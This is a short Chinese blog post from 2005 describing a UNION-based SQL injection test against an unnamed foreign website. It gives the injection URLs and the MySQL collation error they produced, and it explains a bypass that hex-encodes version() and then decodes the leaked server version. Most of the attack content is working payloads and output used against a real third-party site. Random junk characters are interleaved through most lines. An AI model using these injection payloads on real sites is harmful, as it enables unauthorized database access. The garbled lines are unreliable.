本文作者:SuperHei
7 n8 o8 Z/ ~* Q; }! N文章性质:原创) i: l- N$ l `: \
发布日期:2005-10-18
6 X: H* R# Y# I/ r9 {测试个国外的站时:
# h0 o, S3 n$ B* Xurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*, d1 z$ G) O% [8 R0 f$ k, t3 _: d! i
返回错误:6 m4 a9 i& L) J. I6 b
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
7 E h1 I0 J% L0 E- }* w4 `) L; xMySQL Error No. 126
6 l Z/ ]% ~, Z) W; b! J2 h看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
+ \9 y$ E/ |+ E" [% u+ V/ v8 L解决办法:转为其他编码如hex。
7 g+ _5 i) c8 Y/ ~% c$ e- C$ E9 surl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
# W/ B; x6 f H成功得到hex(version())的值为:
& X0 F2 A& G; w& F342E312E332D62657461
0 f p0 ~# y ]2 H回Mysql查询下得到:4 m- @6 `* y% [9 C
mysql> select 0x342E312E332D62657461;4 |0 w/ P; B" m/ ~3 G
+------------------------+' X2 S! v; ^, z R0 z4 U5 \, m
| 0x342E312E332D62657461 |
* K" o/ K' M9 l3 O3 c* A+------------------------+% C& [& e% F! H
| 4.1.3-beta |4 V" f" _5 ^- d0 O
+------------------------+5 z( G4 E& z7 s* }- q% I& c. M
1 row in set (0.00 sec)
- v# @5 V9 L' o" c+ s, a& @! r# i4 X3 A8 i. D9 Y Q+ v5 I
|